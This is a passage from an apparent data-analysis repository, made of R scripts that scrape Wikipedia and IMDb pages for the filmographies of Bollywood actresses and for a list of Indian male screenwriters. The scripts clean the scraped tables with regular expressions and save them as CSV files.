write.csv(x = table_reenaroy, file = "reena_roy.csv")
<file_sep>/actresses/asha_parekh.R
# Scrape Bollywood Actress data from wiki
library(rvest) # Load `XML` package
library(dplyr) # Load `dplyr` package
library(stringr) # Load `stringr` package
setwd("~/Documents/DA/Projects/Project1/actresses/")
# Set Working directory
file_url <- "https://en.wikipedia.org/wiki/Asha_Parekh"
# Assign the wiki url to `file_url`
text_ashaparekh <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="mw-content-text"]/ul[1]') %>%
html_text(trim = T)
# clean text
text_ashaparekh <- str_split(string = text_ashaparekh, pattern = "\n")
text_ashaparekh <- text_ashaparekh[[1]]
text_ashaparekh <- as.data.frame(text_ashaparekh)
# convert `text_ashaparekh` `list` into `data.frame`
text_ashaparekh[2] <- NA
# Initialize 2nd column of `text_ashaparekh`
text_ashaparekh[3] <- NA
# Initialize 3rd column of `text_ashaparekh`
names(text_ashaparekh) <- c("Year", "Film", "Role")
# rename columns of `text_ashaparekh`
text_ashaparekh$Film <- text_ashaparekh$Year
# copy column-1 data to column-2
text_ashaparekh$Role <- text_ashaparekh$Year
# copy column-1 data to column-2
# clean text in column-1
text_ashaparekh$Year <- gsub(pattern = ".*([0-9]{4}).*", replacement = "\\1", x = text_ashaparekh$Year)
text_ashaparekh$Year <- str_trim(string = text_ashaparekh$Year)
# clean text in column-2
text_ashaparekh$Film <- gsub(pattern = "(.*)\\(.*", replacement = "\\1", x = text_ashaparekh$Film)
text_ashaparekh$Film <- gsub(pattern = "(.*)\\(.*", replacement = "\\1", x = text_ashaparekh$Film)
text_ashaparekh$Film <- str_trim(string = text_ashaparekh$Film)
# clean text in column-3
text_ashaparekh$Role <- gsub(pattern = ".*\\((.*)", replacement = "\\1", x = text_ashaparekh$Role)
text_ashaparekh$Role <- gsub(pattern = "[0-9]{4,}|\\)|(\\.\\.\\.\\.)", replacement = "", x = text_ashaparekh$Role)
text_ashaparekh$Role <- str_trim(string = text_ashaparekh$Role)
text_ashaparekh$Role <- gsub(pattern = "^$", replacement = NA_character_, x = text_ashaparekh$Role)
text_ashaparekh$Role <- gsub(pattern = '\\"|\\[|\\]|[0-9]*', replacement = "", x = text_ashaparekh$Role)
write.csv(x = text_ashaparekh, file = "asha_parekh.csv")
<file_sep>/actresses/sridevi.R
# Sample script to scrape table from webpage
library(rvest) # Load `rvest` package
library(dplyr) # Load `dplyr` pacakge
library(stringr) # Load `stringr` package
setwd("~/Documents/DA/Projects/Project1/actresses/")
# Set Working directory
file_url <- "https://en.wikipedia.org/wiki/Sridevi_filmography"
# Assign the wiki url to `file_url`
# Scrape `Tamil` movies
table_sridevi_tamil <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="mw-content-text"]/table[2]') %>%
html_table(fill = TRUE, trim = TRUE, header = TRUE)
table_sridevi_tamil <- table_sridevi_tamil[[1]]
# convert `table_sridevi` from `list` into `data.frame`
# clean text in column-1
table_sridevi_tamil$Year <- gsub(pattern = "^$", replacement = NA_character_, x = table_sridevi_tamil$Year)
table_sridevi_tamil$Year <- str_trim(string = table_sridevi_tamil$Year)
# clean text in column-2
table_sridevi_tamil$Film <- gsub(pattern = "^$", replacement = NA_character_, x = table_sridevi_tamil$Film)
table_sridevi_tamil$Film <- str_trim(string = table_sridevi_tamil$Film)
# clean text in column-3
table_sridevi_tamil$Role <- gsub(pattern = "^$", replacement = NA_character_, x = table_sridevi_tamil$Role)
table_sridevi_tamil$Role <- str_trim(string = table_sridevi_tamil$Role)
# clean text in column-4
table_sridevi_tamil$Source <- gsub(pattern = "^$", replacement = NA_character_, x = table_sridevi_tamil$Source)
table_sridevi_tamil$Source <- str_trim(string = table_sridevi_tamil$Source)
# Assign language in column-5
table_sridevi_tamil$Language <- "Tamil"
# Scrape `Malayalam` movies
table_sridevi_malayalam <- file_url %>%
read_html() %>%
html_nodes(xpath= '//*[@id="mw-content-text"]/table[3]') %>%
html_table(fill = TRUE, trim = TRUE, header = TRUE)
table_sridevi_malayalam <- table_sridevi_malayalam[[1]]
# convert `table_sridevi` from `list` into `data.frame`
# clean text in column-1
table_sridevi_malayalam$Year <- gsub(pattern = "^$", replacement = NA_character_, x = table_sridevi_malayalam$Year)
table_sridevi_malayalam$Year <- str_trim(string = table_sridevi_malayalam$Year)
# clean text in column-2
table_sridevi_malayalam$Film <- gsub(pattern = "^$", replacement = NA_character_, x = table_sridevi_malayalam$Film)
table_sridevi_malayalam$Film <- str_trim(string = table_sridevi_malayalam$Film)
# clean text in column-3
table_sridevi_malayalam$Role <- gsub(pattern = "^$", replacement = NA_character_, x = table_sridevi_malayalam$Role)
table_sridevi_malayalam$Role <- str_trim(string = table_sridevi_malayalam$Role)
# clean text in column-4
table_sridevi_malayalam$Source <- gsub(pattern = "^$", replacement = NA_character_, x = table_sridevi_malayalam$Source)
table_sridevi_malayalam$Source <- str_trim(string = table_sridevi_malayalam$Source)
# Assign language in column-5
table_sridevi_malayalam$Language <- "Malayalam"
# Scrape `Telugu` movies
table_sridevi_telugu <- file_url %>%
read_html() %>%
html_nodes(xpath= '//*[@id="mw-content-text"]/table[4]') %>%
html_table(fill = TRUE, trim = TRUE, header = TRUE)
table_sridevi_telugu <- table_sridevi_telugu[[1]]
# convert `table_sridevi` from `list` into `data.frame`
# clean text in column-1
table_sridevi_telugu$Year <- gsub(pattern = "^$", replacement = NA_character_, x = table_sridevi_telugu$Year)
table_sridevi_telugu$Year <- str_trim(string = table_sridevi_telugu$Year)
# clean text in column-2
table_sridevi_telugu$Film <- gsub(pattern = "^$", replacement = NA_character_, x = table_sridevi_telugu$Film)
table_sridevi_telugu$Film <- str_trim(string = table_sridevi_telugu$Film)
# clean text in column-3
table_sridevi_telugu$Role <- gsub(pattern = "^$", replacement = NA_character_, x = table_sridevi_telugu$Role)
table_sridevi_telugu$Role <- str_trim(string = table_sridevi_telugu$Role)
# clean text in column-4
table_sridevi_telugu$Source <- gsub(pattern = "^$", replacement = NA_character_, x = table_sridevi_telugu$Source)
table_sridevi_telugu$Source <- str_trim(string = table_sridevi_telugu$Source)
# Assign language in column-5
table_sridevi_telugu$Language <- "Telugu"
# Scrape `Kannada` movies
table_sridevi_kannada <- file_url %>%
read_html() %>%
html_nodes(xpath= '//*[@id="mw-content-text"]/table[5]') %>%
html_table(fill = TRUE, trim = TRUE, header = TRUE)
table_sridevi_kannada <- table_sridevi_kannada[[1]]
# convert `table_sridevi` from `list` into `data.frame`
# clean text in column-1
table_sridevi_kannada$Year <- gsub(pattern = "^$", replacement = NA_character_, x = table_sridevi_kannada$Year)
table_sridevi_kannada$Year <- str_trim(string = table_sridevi_kannada$Year)
# clean text in column-2
table_sridevi_kannada$Film <- gsub(pattern = "^$", replacement = NA_character_, x = table_sridevi_kannada$Film)
table_sridevi_kannada$Film <- str_trim(string = table_sridevi_kannada$Film)
# clean text in column-3
table_sridevi_kannada$Role <- gsub(pattern = "^$", replacement = NA_character_, x = table_sridevi_kannada$Role)
table_sridevi_kannada$Role <- str_trim(string = table_sridevi_kannada$Role)
# clean text in column-4
table_sridevi_kannada$Source <- gsub(pattern = "^$", replacement = NA_character_, x = table_sridevi_kannada$Source)
table_sridevi_kannada$Source <- str_trim(string = table_sridevi_kannada$Source)
# Assign language in column-5
table_sridevi_kannada$Language <- "Kannada"
# Scrape `Hindi` movies
table_sridevi_hindi <- file_url %>%
read_html() %>%
html_nodes(xpath= '//*[@id="mw-content-text"]/table[6]') %>%
html_table(fill = TRUE, trim = TRUE, header = TRUE)
table_sridevi_hindi <- table_sridevi_hindi[[1]]
# convert `table_sridevi` from `list` into `data.frame`
table_sridevi_hindi <- select(table_sridevi_hindi, Year:Source)
# clean text in column-1
table_sridevi_hindi$Year <- gsub(pattern = "^$", replacement = NA_character_, x = table_sridevi_hindi$Year)
table_sridevi_hindi$Year <- str_trim(string = table_sridevi_hindi$Year)
# clean text in column-2
table_sridevi_hindi$Film <- gsub(pattern = "^$", replacement = NA_character_, x = table_sridevi_hindi$Film)
table_sridevi_hindi$Film <- str_trim(string = table_sridevi_hindi$Film)
# clean text in column-3
table_sridevi_hindi$Role <- gsub(pattern = "^$", replacement = NA_character_, x = table_sridevi_hindi$Role)
table_sridevi_hindi$Role <- str_trim(string = table_sridevi_hindi$Role)
# clean text in column-4
table_sridevi_hindi$Source <- gsub(pattern = "^$", replacement = NA_character_, x = table_sridevi_hindi$Source)
table_sridevi_hindi$Source <- str_trim(string = table_sridevi_hindi$Source)
# Assign language in column-5
table_sridevi_hindi$Language <- "Hindi"
# Combine data
table_sridevi <- rbind(table_sridevi_tamil, table_sridevi_malayalam, table_sridevi_telugu,
table_sridevi_kannada, table_sridevi_hindi)
# Remove `Source` column
table_sridevi <- select(table_sridevi, -Source)
write.csv(x = table_sridevi, file = "sridevi.csv")
<file_sep>/actresses/preity_zinta.R
# Sample script to scrape table from webpage
library(rvest) # Load `rvest` package
library(dplyr) # Load `dplyr` pacakge
library(stringr) # Load `stringr` package
setwd("~/Documents/DA/Projects/Project1/actresses/")
# Set Working directory
file_url <- 'https://en.wikipedia.org/wiki/Preity_Zinta_filmographyl'
# Assign the wiki url to `file_url`
table_preityzinta <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="mw-content-text"]/table[1]') %>%
html_table(fill = TRUE, trim = TRUE, header = TRUE)
table_preityzinta <- table_preityzinta[[1]]
# convert `table_preityzinta` from `list` into `data.frame`
names(table_preityzinta) <- c("Film", "Year", "Role", "Director", "Notes", "Ref")
# rename columns
# clean text in column-1
table_preityzinta$Film <- gsub(pattern = "^$", replacement = NA_character_, x = table_preityzinta$Film)
table_preityzinta$Film <- str_trim(string = table_preityzinta$Film)
# clean text in column-2
table_preityzinta$Year <- gsub(pattern = "^$", replacement = NA_character_, x = table_preityzinta$Year)
table_preityzinta$Year <- str_trim(string = table_preityzinta$Year)
# clean text in column-3
table_preityzinta$Role <- gsub(pattern = "^$", replacement = NA_character_, x = table_preityzinta$Role)
table_preityzinta$Role <- gsub(pattern = ".*!(.*)", replacement = "\\1", x = table_preityzinta$Role)
table_preityzinta$Role <- str_trim(string = table_preityzinta$Role)
# clean text in column-4
table_preityzinta$Director <- gsub(pattern = "^$", replacement = NA_character_, x = table_preityzinta$Director)
table_preityzinta$Director <- gsub(pattern = ".*!(.*)", replacement = "\\1", x = table_preityzinta$Director)
table_preityzinta$Director <- str_trim(string = table_preityzinta$Director)
# clean text in column-5
table_preityzinta$Notes <- gsub(pattern = "^$", replacement = NA_character_, x = table_preityzinta$Notes)
table_preityzinta$Notes <- str_trim(string = table_preityzinta$Notes)
table_preityzinta <- select(table_preityzinta, Year, Film, Role, Notes, Director)
table_preityzinta <- arrange(table_preityzinta, Year, Film)
write.csv(x = table_preityzinta, file = "preity_zinta.csv")
<file_sep>/actresses/devayani.R
# Sample script to scrape table from webpage
library(rvest) # Load `rvest` package
library(dplyr) # Load `dplyr` pacakge
library(stringr) # Load `stringr` package
setwd("~/Documents/DA/Projects/Project1/actresses/")
# Set Working directory
file_url <- 'https://en.wikipedia.org/wiki/Devayani_(actress)'
# Assign the wiki url to `file_url`
table_devayani <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="mw-content-text"]/table[2]') %>%
html_table(fill = TRUE, trim = TRUE, header = TRUE)
table_devayani <- table_devayani[[1]]
# convert `table_devayani` from `list` into `data.frame`
names(table_devayani) <- c("Year", "Film", "Role", "Language", "Notes")
# rename columns
# clean text in column-1
table_devayani$Year <- gsub(pattern = "^$", replacement = NA_integer_, x = table_devayani$Year)
table_devayani$Year <- str_trim(string = table_devayani$Year)
# clean text in column-2
table_devayani$Film <- gsub(pattern = "^$", replacement = NA_character_, x = table_devayani$Film)
table_devayani$Film <- str_trim(string = table_devayani$Film)
# clean text in column-3
table_devayani$Role <- gsub(pattern = "^$", replacement = NA_character_, x = table_devayani$Role)
table_devayani$Role <- str_trim(string = table_devayani$Role)
# clean text in column-4
table_devayani$Language <- gsub(pattern = "^$", replacement = NA_character_, x = table_devayani$Language)
table_devayani$Language <- str_trim(string = table_devayani$Language)
# clean text in column-5
table_devayani$Notes <- gsub(pattern = "^$", replacement = NA_character_, x = table_devayani$Notes)
table_devayani$Notes <- str_trim(string = table_devayani$Notes)
table_devayani <- select(table_devayani, Year, Film, Role, Notes, Language)
write.csv(x = table_devayani, file = "devayani.csv")
<file_sep>/screenwriters/indian_film_screenwriters_male.R
# Scrape Indian Film `Male Screenwriter` names from wiki
library(rvest) # Load `rvest` package
library(dplyr) # Load `dplyr` package
library(stringr) # Load `stringr` package
WorkDir <- "~/DA/projects/Bollywoodata/screenwriters/"
setwd(dir = WorkDir)
file_url <- "https://en.wikipedia.org/wiki/Category:Indian_male_screenwriters"
# Assign the wiki url to `file_url`
names <- file_url %>%
read_html() %>%
html_nodes(css = '.mw-category-group a') %>%
html_text(trim = TRUE) %>%
gsub(pattern = "(.*)\\(.*", replacement = "\\1") %>%
str_trim()
links <- file_url %>%
read_html() %>%
html_nodes(css = '.mw-category-group a') %>%
html_attr(name = 'href') %>%
unlist(use.names = F)
screenwriters_male <- data.frame(name = names, http_link = links, row.names = NULL, stringsAsFactors = F)
write.csv(x = screenwriters_male, file = 'indian_film_screenwriters_male.csv')
<file_sep>/actresses/mandakini.R
# Sample script to scrape table from webpage
library(rvest) # Load `rvest` package
library(dplyr) # Load `dplyr` pacakge
library(stringr) # Load `stringr` package
setwd("~/Documents/DA/Projects/Project1/actresses/")
# Set Working directory
file_url <- 'https://en.wikipedia.org/wiki/Mandakini_(actress)'
# Assign the wiki url to `file_url`
table_mandakini <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="mw-content-text"]/table[2]') %>%
html_table(fill = TRUE, trim = TRUE, header = TRUE)
table_mandakini <- table_mandakini[[1]]
# convert `table_mandakini` from `list` into `data.frame`
names(table_mandakini) <- c("Year", "Film", "Role", "Notes")
# rename columns
# clean text in column-1
table_mandakini$Year <- gsub(pattern = "^$", replacement = NA_character_, x = table_mandakini$Year)
table_mandakini$Year <- str_trim(string = table_mandakini$Year)
# clean text in column-2
table_mandakini$Film <- gsub(pattern = "^$", replacement = NA_character_, x = table_mandakini$Film)
table_mandakini$Film <- str_trim(string = table_mandakini$Film)
# clean text in column-3
table_mandakini$Role <- gsub(pattern = "^$", replacement = NA_character_, x = table_mandakini$Role)
table_mandakini$Role <- str_trim(string = table_mandakini$Role)
# clean text in column-4
table_mandakini$Notes <- gsub(pattern = "^$", replacement = NA_character_, x = table_mandakini$Notes)
table_mandakini$Notes <- str_trim(string = table_mandakini$Notes)
table_mandakini <- select(table_mandakini, Year, Film, Role, Notes)
table_mandakini <- arrange(table_mandakini, Year, Film)
write.csv(x = table_mandakini, file = "mandakini.csv")
<file_sep>/actresses/dimple_kapadia.R
# Sample script to scrape table from webpage
library(rvest) # Load `rvest` package
library(dplyr) # Load `dplyr` pacakge
library(stringr) # Load `stringr` package
setwd("~/Documents/DA/Projects/Project1/actresses/")
# Set Working directory
file_url <- "https://en.wikipedia.org/wiki/Dimple_Kapadia"
# Assign the wiki url to `file_url`
table_dimple <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="mw-content-text"]/table[2]') %>%
html_table(fill = TRUE, trim = TRUE, header = TRUE)
table_dimple <- table_dimple[[1]]
# convert `table_dimple` from `list` into `data.frame`
# clean text in column-2
table_dimple$Film <- gsub(pattern = "\\.\\.\\.", replacement = "", x = table_dimple$Film)
table_dimple$Film <- gsub(pattern = "\\?", replacement = "", x = table_dimple$Film)
table_dimple$Film <- str_trim(string = table_dimple$Film)
# clean text in column-3
table_dimple$Role <- gsub(pattern = "^$", replacement = NA_character_, x = table_dimple$Role)
table_dimple$Role <- str_trim(string = table_dimple$Role)
# clean text in column-4
table_dimple$Notes <- gsub(pattern = "^$", replacement = NA_character_, x = table_dimple$Notes)
table_dimple$Notes <- str_trim(string = table_dimple$Notes)
write.csv(x = table_dimple, file = "dimple_kapadia.csv")
<file_sep>/actresses/jaya_bachchan.R
# Sample script to scrape table from webpage
library(rvest) # Load `rvest` package
library(dplyr) # Load `dplyr` pacakge
library(stringr) # Load `stringr` package
setwd("~/Documents/DA/Projects/Project1/actresses/")
# Set Working directory
file_url <- "https://en.wikipedia.org/wiki/Jaya_Bachchan"
# Assign the wiki url to `file_url`
table_jayabachchan <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="mw-content-text"]/table[2]') %>%
html_table(fill = TRUE, trim = TRUE, header = TRUE)
table_jayabachchan <- table_jayabachchan[[1]]
# convert `table_jayabachchan` from `list` into `data.frame`
names(table_jayabachchan) <- c("Year", "Film", "Role", "Notes")
# rename columns
# clean text in column-2
table_jayabachchan$Film <- gsub(pattern = "\\.\\.\\.", replacement = "", x = table_jayabachchan$Film)
table_jayabachchan$Film <- str_trim(string = table_jayabachchan$Film)
# clean text in column-3
table_jayabachchan$Role <- gsub(pattern = "^$", replacement = NA_character_, x = table_jayabachchan$Role)
table_jayabachchan$Role <- str_trim(string = table_jayabachchan$Role)
# clean text in column-4
table_jayabachchan$Notes <- gsub(pattern = "^$", replacement = NA_character_, x = table_jayabachchan$Notes)
table_jayabachchan$Notes <- str_trim(string = table_jayabachchan$Notes)
write.csv(x = table_jayabachchan, file = "jaya_bachchan.csv")
<file_sep>/actresses/bhagyashree.R
# Sample script to scrape table from webpage
library(rvest) # Load `rvest` package
library(dplyr) # Load `dplyr` pacakge
library(stringr) # Load `stringr` package
setwd("~/Documents/DA/Projects/Project1/actresses/")
# Set Working directory
file_url <- 'https://en.wikipedia.org/wiki/Bhagyashree'
# Assign the wiki url to `file_url`
table_bhagyashree <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="mw-content-text"]/table[3]') %>%
html_table(fill = TRUE, trim = TRUE, header = TRUE)
table_bhagyashree <- table_bhagyashree[[1]]
# convert `table_bhagyashree` from `list` into `data.frame`
names(table_bhagyashree) <- c("Year", "Film", "Role", "Notes")
# rename columns
# clean text in column-1
table_bhagyashree$Year <- gsub(pattern = "^$", replacement = NA_integer_, x = table_bhagyashree$Year)
table_bhagyashree$Year <- str_trim(string = table_bhagyashree$Year)
# clean text in column-2
table_bhagyashree$Film <- gsub(pattern = "^$", replacement = NA_character_, x = table_bhagyashree$Film)
table_bhagyashree$Film <- str_trim(string = table_bhagyashree$Film)
# clean text in column-3
table_bhagyashree$Role <- gsub(pattern = "^$", replacement = NA_character_, x = table_bhagyashree$Role)
table_bhagyashree$Role <- str_trim(string = table_bhagyashree$Role)
# clean text in column-4
table_bhagyashree$Notes <- gsub(pattern = "^$", replacement = NA_character_, x = table_bhagyashree$Notes)
table_bhagyashree$Notes <- str_trim(string = table_bhagyashree$Notes)
table_bhagyashree <- select(table_bhagyashree, Year, Film, Role, Notes)
write.csv(x = table_bhagyashree, file = "bhagyashree.csv")
<file_sep>/actresses/zeenat_aman.R
# Sample script to scrape table from webpage
library(rvest) # Load `rvest` package
library(dplyr) # Load `dplyr` pacakge
library(stringr) # Load `stringr` package
setwd("~/Documents/DA/Projects/Project1/actresses/")
# Set Working directory
file_url <- "https://en.wikipedia.org/wiki/Zeenat_Aman"
# Assign the wiki url to `file_url`
table_zeenataman <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="mw-content-text"]/table[2]') %>%
html_table(fill = TRUE, trim = TRUE, header = TRUE)
table_zeenataman <- table_zeenataman[[1]]
# convert `table_zeenataman` from `list` into `data.frame`
# clean text in column-2
table_zeenataman$Film <- gsub(pattern = "\\.\\.\\.", replacement = "", x = table_zeenataman$Film)
table_zeenataman$Film <- gsub(pattern = "^$", replacement = NA_character_, x = table_zeenataman$Film)
table_zeenataman$Film <- str_trim(string = table_zeenataman$Film)
# clean text in column-3
table_zeenataman$Role <- gsub(pattern = "^$", replacement = NA_character_, x = table_zeenataman$Role)
table_zeenataman$Role <- str_trim(string = table_zeenataman$Role)
# clean text in column-4
table_zeenataman$Notes <- gsub(pattern = "^$", replacement = NA_character_, x = table_zeenataman$Notes)
table_zeenataman$Notes <- str_trim(string = table_zeenataman$Notes)
write.csv(x = table_zeenataman, file = "zeenat_aman.csv")
<file_sep>/actresses/mumtaz_shanti.R
# Scrape Bollywood Actress data from wiki
library(rvest) # Load `XML` package
library(dplyr) # Load `dplyr` package
library(stringr) # Load `stringr` package
setwd("~/Documents/DA/Projects/Project1/actresses/")
# Set Working directory
file_url <- "https://en.wikipedia.org/wiki/Mumtaz_Shanti"
# Assign the wiki url to `file_url`
table_mumtazshanti <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="mw-content-text"]/ol') %>%
html_text(trim = T)
# text cleaning
table_mumtazshanti <- str_split(string = table_mumtazshanti, pattern = "\n")
table_mumtazshanti <- table_mumtazshanti[[1]]
table_mumtazshanti <- as.character(table_mumtazshanti)
table_mumtazshanti <- as.data.frame(table_mumtazshanti)
# convert `table_mumtazshanti` `list` into `data.frame`
table_mumtazshanti[2] <- NA
# Initialize 2nd column of `text.nargis`
names(table_mumtazshanti) <- c("Year", "Film")
# rename columns of `text.nargis`
table_mumtazshanti$Film <- table_mumtazshanti$Year
# copy column-1 data to column-2
# clean text in column-1
table_mumtazshanti$Year <- gsub(pattern = '[a-zA-Z]', replacement = '', x = table_mumtazshanti$Year)
table_mumtazshanti$Year <- gsub(pattern = '\\(|\\)', replacement = '', x = table_mumtazshanti$Year)
table_mumtazshanti$Year <- str_trim(string = table_mumtazshanti$Year)
# clean text in column-2
table_mumtazshanti$Film <- gsub(pattern = '[0-9]|\\(|\\)', replacement = '', x = table_mumtazshanti$Film)
table_mumtazshanti$Film <- str_trim(string = table_mumtazshanti$Film)
write.csv(x = table_mumtazshanti, file = "mumtaz_shanti.csv")
<file_sep>/actresses/meena_kumari.R
# Scrape Bollywood Actress data from wiki
library(rvest) # Load `XML` package
library(dplyr) # Load `dplyr` package
library(stringr) # Load `stringr` package
setwd("~/Documents/DA/Projects/Project1/actresses/")
# Set Working directory
file_url <- "https://en.wikipedia.org/wiki/Meena_Kumari"
# Assign the wiki url to `file_url`
table_meenakumari <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="mw-content-text"]/blockquote[4]/table[1]') %>%
html_table(header = T, trim = T, fill = T)
table_meenakumari <- table_meenakumari[[1]]
table_meenakumari <- as.data.frame(table_meenakumari)
# convert `table_meenakumari` `list` into `data.frame`
names(table_meenakumari) <- c("Year", "Film", "Role", "Notes")
# rename columns of `table_meenakumari`
table_meenakumari <- select(.data = table_meenakumari, (Year:Role))
# clean text in column-1
table_meenakumari$Year <- gsub(pattern = '^$', replacement = NA_character_, x = table_meenakumari$Year)
table_meenakumari$Year <- str_trim(string = table_meenakumari$Year)
# clean text in column-2
table_meenakumari$Film <- gsub(pattern = '^$', replacement = NA_character_, x = table_meenakumari$Film)
table_meenakumari$Film <- str_trim(string = table_meenakumari$Film)
# clean text in column-3
table_meenakumari$Role <- gsub(pattern = '^$', replacement = NA_character_, x = table_meenakumari$Role)
table_meenakumari$Role <- str_trim(string = table_meenakumari$Role)
write.csv(x = table_meenakumari, file = "meena_kumari.csv")
<file_sep>/actresses/hema_malini.R
# Scrape Bollywood Actress data from wiki
library(rvest) # Load `XML` package
library(dplyr) # Load `dplyr` package
library(stringr) # Load `stringr` package
setwd("~/Documents/DA/Projects/Project1/actresses/")
# Set Working directory
file_url <- "http://www.imdb.com/name/nm0004564/"
# Assign the wiki url to `file_url`
Year <- file_url %>%
read_html() %>%
html_nodes(css = '#filmography :nth-child(2) .filmo-row .year_column') %>%
html_text()
Year <- str_extract(string = Year, pattern = "[0-9]{4}")
Year <- str_trim(string = Year)
Film <- file_url %>%
read_html() %>%
html_nodes(css = '#filmography :nth-child(2) .filmo-row b a') %>%
html_text()
Film <- gsub(pattern = "\\.\\.\\.", replacement = "", Film)
Film <- gsub(pattern = "(.*)\\(.*\\).*", replacement = "\\1", Film)
Film <- str_trim(string = Film)
table_mailini <- data.frame(Year, Film, stringsAsFactors = F)
write.csv(x = table_mailini, file = "hema_malini.csv")
<file_sep>/actresses/bina_rai.R
# Scrape Bollywood Actress data from wiki
library(rvest) # Load `XML` package
library(dplyr) # Load `dplyr` package
library(stringr) # Load `stringr` package
setwd("~/Documents/DA/Projects/Project1/actresses/")
# Set Working directory
file_url <- "https://en.wikipedia.org/wiki/Bina_Rai"
# Assign the wiki url to `file_url`
text_binarai <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="mw-content-text"]/ul[2]') %>%
html_text(trim = T)
# clean text
text_binarai <- str_split(string = text_binarai, pattern = "\n")
text_binarai <- text_binarai[[1]]
text_binarai <- as.data.frame(text_binarai)
# convert `text_binarai` `list` into `data.frame`
text_binarai[2] <- NA
# Initialize 2nd column of `text_binarai`
names(text_binarai) <- c("Year", "Film")
# rename columns of `text_binarai`
text_binarai$Film <- text_binarai$Year
# copy column-1 data to column-2
# clean text in column-1
text_binarai$Year <- str_trim(string = text_binarai$Year)
text_binarai$Year <- substr(x = text_binarai$Year, start = 1, stop = 4)
# clean text in column-2
text_binarai$Film <- substring(text = text_binarai$Film, first = 7)
text_binarai$Film <- gsub(pattern = "[0-9]|\\[|\\]", replacement = "", x = text_binarai$Film)
text_binarai$Film <- str_trim(string = text_binarai$Film)
write.csv(x = text_binarai, file = "bina_rai.csv")
<file_sep>/actresses/neelam_kothari.R
# Sample script to scrape table from webpage
library(rvest) # Load `rvest` package
library(dplyr) # Load `dplyr` pacakge
library(stringr) # Load `stringr` package
setwd("~/Documents/DA/Projects/Project1/actresses/")
# Set Working directory
file_url <- 'https://en.wikipedia.org/wiki/Neelam_Kothari'
# Assign the wiki url to `file_url`
table_neelam <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="mw-content-text"]/table[2]') %>%
html_table(fill = TRUE, trim = TRUE, header = TRUE)
table_neelam <- table_neelam[[1]]
# convert `table_neelam` from `list` into `data.frame`
names(table_neelam) <- c("Year", "Film", "Role", "Notes")
# rename columns
# clean text in column-1
table_neelam$Year <- gsub(pattern = "^$", replacement = NA_character_, x = table_neelam$Year)
table_neelam$Year <- str_trim(string = table_neelam$Year)
# clean text in column-2
table_neelam$Film <- gsub(pattern = "^$", replacement = NA_character_, x = table_neelam$Film)
table_neelam$Film <- str_trim(string = table_neelam$Film)
# clean text in column-3
table_neelam$Role <- gsub(pattern = "^$", replacement = NA_character_, x = table_neelam$Role)
table_neelam$Role <- str_trim(string = table_neelam$Role)
# clean text in column-4
table_neelam$Notes <- gsub(pattern = "^$", replacement = NA_character_, x = table_neelam$Notes)
table_neelam$Notes <- str_trim(string = table_neelam$Notes)
table_neelam <- select(table_neelam, Year, Film, Role, Notes)
write.csv(x = table_neelam, file = "neelam_kothari.csv")
<file_sep>/actresses/smita_patil.R
# Sample script to scrape table from webpage
library(rvest) # Load `rvest` package
library(dplyr) # Load `dplyr` pacakge
library(stringr) # Load `stringr` package
setwd("~/Documents/DA/Projects/Project1/actresses/")
# Set Working directory
file_url <- "https://en.wikipedia.org/wiki/Smita_Patil"
# Assign the wiki url to `file_url`
table_smitapatil <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="mw-content-text"]/table[3]') %>%
html_table(fill = TRUE, trim = TRUE, header = TRUE)
table_smitapatil <- table_smitapatil[[1]]
# convert `table_smitapatil` from `list` into `data.frame`
names(table_smitapatil) <- c("Year", "Film", "Role", "Notes")
# rename columns
# clean text in column-2
table_smitapatil$Film <- gsub(pattern = "(.*)\\(.*\\).*", replacement = "\\1", x = table_smitapatil$Film)
table_smitapatil$Film <- gsub(pattern = "(.*)\\[.*\\].*", replacement = "\\1", x = table_smitapatil$Film)
table_smitapatil$Film <- gsub(pattern = "(.*)\\[.*\\].*", replacement = "\\1", x = table_smitapatil$Film)
table_smitapatil$Film <- gsub(pattern = "\\?", replacement = "", x = table_smitapatil$Film)
table_smitapatil$Film <- str_trim(string = table_smitapatil$Film)
# clean text in column-3
table_smitapatil$Role <- gsub(pattern = "(.*)\\(.*\\).*", replacement = "\\1", x = table_smitapatil$Role)
table_smitapatil$Role <- gsub(pattern = "(.*)\\[.*\\].*", replacement = "\\1", x = table_smitapatil$Role)
table_smitapatil$Role <- gsub(pattern = "(.*)\\[.*\\].*", replacement = "\\1", x = table_smitapatil$Role)
table_smitapatil$Role <- gsub(pattern = "\\-", replacement = "", x = table_smitapatil$Role)
table_smitapatil$Role <- gsub(pattern = "^$", replacement = NA_character_ ,x = table_smitapatil$Role)
table_smitapatil$Role <- str_trim(string = table_smitapatil$Role)
# clean text in column-4
table_smitapatil$Notes <- gsub(pattern = "^$", replacement = NA_character_, x = table_smitapatil$Notes)
table_smitapatil$Notes <- str_trim(string = table_smitapatil$Notes)
write.csv(x = table_smitapatil, file = "smita_patil.csv")
<file_sep>/actresses/nutan.R
# Scrape Bollywood Actress data from wiki
library(rvest) # Load `XML` package
library(dplyr) # Load `dplyr` pacakge
library(stringr) # Load `stringr` package
setwd("~/Documents/DA/Projects/Project1/actresses/")
# Set Working directory
file_url <- "https://en.wikipedia.org/wiki/Nutan"
# Assign the wiki url to `file_url`
table_nutan <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="mw-content-text"]/table[2]') %>%
html_table(fill = TRUE, trim = TRUE, header = TRUE)
table_nutan <- table_nutan[[1]]
# Convert `table_nutan` from `list` into `data.frame`
names(table_nutan) <- c("Year", "Film", "Role", "Notes")
# rename columns
# replace missing values with `NA`s
table_nutan$Year <- gsub(pattern = "^$", replacement = NA_character_, x = table_nutan$Year)
table_nutan$Film <- gsub(pattern = "^$", replacement = NA_character_, x = table_nutan$Film)
table_nutan$Role <- gsub(pattern = "^$", replacement = NA_character_, x = table_nutan$Role)
